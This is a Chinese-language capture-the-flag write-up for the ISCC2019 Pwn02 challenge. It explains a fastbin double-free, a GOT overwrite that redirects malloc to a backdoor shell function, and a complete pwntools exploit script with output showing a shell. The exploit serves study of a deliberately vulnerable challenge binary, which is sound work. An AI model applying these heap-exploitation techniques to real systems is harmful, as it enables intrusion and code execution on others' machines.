ISCC2019 Pwn02 writeup

TOC

  1. 1. 程序功能介绍
    1. 1.1. 安全防护
    2. 1.2. main
    3. 1.3. 后门函数:sh
  2. 2. 分析
  3. 3. 思路
    1. 3.1. double free
    2. 3.2. 拿任意chunk
      1. 3.2.1. fastbin的size检查
      2. 3.2.2. 查看size
    3. 3.3. 劫持got表
  4. 4. 完整脚本
    1. 4.1. 运行实例
  5. 5. 总结

源程序下载:pwn02.zip

本题主要考察 double free 漏洞的使用。建议在无tcache机制的glib下实验,也就是glibc-2.26以前的版本。

程序功能介绍

安全防护

ex@ubuntu:~/test$ checksec pwn02
[*] '/home/ex/test/pwn02'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int *no_use; // rsi
int v4; // ebx
char *ptr[10]; // [rsp+0h] [rbp-70h]
int sz; // [rsp+54h] [rbp-1Ch]
int idx; // [rsp+58h] [rbp-18h]
int cmd; // [rsp+5Ch] [rbp-14h]

setvbuf(stdout, 0LL, 2, 0LL);
no_use = 0LL;
memset(ptr, 0, 80uLL);
puts("1. malloc + gets\n2. free\n3. puts");
while ( 1 )
{
while ( 1 )
{
printf("> ", no_use);
no_use = &cmd;
scanf("%d %d", &cmd, &idx);
idx %= 10;
if ( cmd != 1 )
break;
no_use = &sz;
scanf("%d%*c", &sz);
v4 = idx;
ptr[v4] = (char *)malloc(sz);
gets(ptr[idx]);
}
if ( cmd == 2 )
{
free(ptr[idx]);
}
else
{
if ( cmd != 3 )
exit(0);
puts(ptr[idx]);
}
}
}

程序流还是很简单明了。

后门函数:sh

void __cdecl sh(char *cmd)
{
char *ss_0[10]; // [rsp+10h] [rbp-50h]

system(cmd);
fgets((char *)ss_0, 0, stdin);
}

分析

明显的double free,申请任意chunk即可,只需要绕过fastbin的size检查。

思路

  1. double free
  2. 拿任意chunk
  3. 劫持got表

double free

sh.sendline('1 0\n48')
sh.sendline('aaaa')
sh.sendline('1 1\n48')
sh.sendline('aaaa')

sh.sendline('2 0')
sh.sendline('2 1')
sh.sendline('2 0')

拿任意chunk

先查看got表:

ex@Ex:~/test$ objdump -R pwn02

pwn02: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600db8 R_X86_64_GLOB_DAT __gmon_start__
0000000000600e50 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000600e60 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000600dd8 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
0000000000600de0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000600de8 R_X86_64_JUMP_SLOT system@GLIBC_2.2.5
0000000000600df0 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000600df8 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5
0000000000600e00 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000600e08 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
0000000000600e10 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000600e18 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
0000000000600e20 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000600e28 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
0000000000600e30 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5

再用gdb调试看看哪个地方的size可以用来绕过fastbin的size检查。

fastbin的size检查

 ► 0x7fcc2672667f <_int_malloc+194>    mov    eax, dword ptr [rbx + 8]
0x7fcc26726682 <_int_malloc+197> shr eax, 4
0x7fcc26726685 <_int_malloc+200> sub eax, 2
0x7fcc26726688 <_int_malloc+203> cmp esi, eax
0x7fcc2672668a <_int_malloc+205> je _int_malloc+269 <0x7fcc267266ca>

0x7fcc267266ca <_int_malloc+269> add rbx, 0x10
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c
3378 }
3379 while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
3380 != victim);
3381 if (victim != 0)
3382 {
► 3383 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
3384 {
3385 errstr = "malloc(): memory corruption (fast)";
3386 errout:
3387 malloc_printerr (check_action, errstr, chunk2mem (victim), av);
3388 return NULL;

查看size

pwndbg> x/16gx 0x0600dd8
0x600dd8: 0x00007fcc26728704 0x00007fcc26717c99
0x600de8: 0x00000000004006b6 0x00007fcc26700410
0x600df8: 0x00007fcc267f0140 0x00007fcc266d4a88
0x600e08: 0x00000000004006f6 0x00007fcc267173c0
0x600e18: 0x00007fcc267280be 0x00007fcc26718430
0x600e28: 0x00007fcc26713fef 0x0000000000400746
0x600e38: 0x0000000000000000 0x0000000000000000
0x600e48: 0x0000000000000000 0x00007fcc26a3f620

之后选择用fgets的got地址来作为size,也就是0000000000600e08 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5,之后对地址进行偏移:

pwndbg> x/4gx 0x600e08-6
0x600e02: 0x06f600007fcc266d 0x73c0000000000040
0x600e12: 0x80be00007fcc2671 0x843000007fcc2672

由此构造好了我们的size:00000040,这样就可以绕过fastbin的size检查。

对应的脚本:

sh.sendline('1 0\n48')
sh.sendline(p64(0x600e08-6))
sh.sendline('1 1\n48')
sh.sendline('ddddd\0')

sh.sendline('1 2\n48')
sh.sendline('cccccccc')

调试结果如下:

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x600e02 (_GLOBAL_OFFSET_TABLE_+66) ◂— 0x20be00007ff7624d
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p/x *(mchunkptr)0x600e02
$1 = {
prev_size = 0x6f600007ff76248,
size = 0x13c0000000000040,
fd = 0x20be00007ff7624d,
bk = 0x243000007ff7624e,
fd_nextsize = 0xdfef00007ff7624d,
bk_nextsize = 0x74600007ff7624c
}
pwndbg>

从上面可以看出,我们只要在malloc一次就能拿出那个任意的chunk了。

劫持got表

拿了chunk后,0x600e12地址就是我们可以控制的地址,该地址旁边的got表如下所示:

0000000000600e10 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000600e18 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
0000000000600e20 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5

然后我们就可以修改malloc的got地址 为 sh(后门函数)的地址,并把参数字符串就放在malloc的got地址的后面(那么它的地址就是malloc的got地址 + 8),这样虽然会覆盖掉setvbuf的地址,但是我们已经不用这个函数了,所以不受影响,接下来就是malloc传参了。

malloc传参:直接把参数字符串的地址当成一个malloc的size传进行就可以,因为对于汇编来说,他们本质都是8个字节的数据(可以看成是C语言的强制类型转换),说实话,我在这里卡了很久,没想到解决方法这么简单,真是白学了这么久的C语言。

# 拿指定chunk
sh.sendline('1 2\n48')

# 后门函数的地址
sh_addr = 0x000000000400856
# 劫持 malloc.got
sh.sendline('f' * 6 + p64(sh_addr) + 'sh')

# sh字符串的地址
bin_sh_addr = elf.got['malloc'] + 8
# malloc(bin_sh_addr) => sh(bin_sh_addr)
sh.sendline('1 3\n' + str(bin_sh_addr))

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import time
import os
import struct

# context.log_level = "debug"

sh = process('./pwn02')
# sh = remote("39.100.87.24 ",8102)
elf = ELF('./pwn02')

try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)

sh.sendline('1 0\n48')
sh.sendline('aaaa')
sh.sendline('1 1\n48')
sh.sendline('aaaa')

sh.sendline('2 0')
sh.sendline('2 1')
sh.sendline('2 0')

sh.sendline('1 0\n48')
sh.sendline(p64(0x600e08-6))
sh.sendline('1 1\n48')
sh.sendline('ddddd\0')

sh.sendline('1 2\n48')
sh.sendline('cccccccc')

# 拿指定chunk
sh.sendline('1 2\n48')

# 后门函数的地址
sh_addr = 0x000000000400856
# 劫持 malloc.got
sh.sendline('f' * 6 + p64(sh_addr) + 'sh')

# sh字符串的地址
bin_sh_addr = elf.got['malloc'] + 8
# malloc(bin_sh_addr) => sh(bin_sh_addr)
sh.sendline('1 3\n' + str(bin_sh_addr))

sh.interactive()

os.system('rm -f pid')

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './pwn02': pid 3190
[*] '/home/ex/test/pwn02'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
1. malloc + gets
2. free
3. puts
> > > > > > > > > > $ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

总结

这题其实挺简单的,但就是在传递参数上面卡了很久,还是见识得太少了。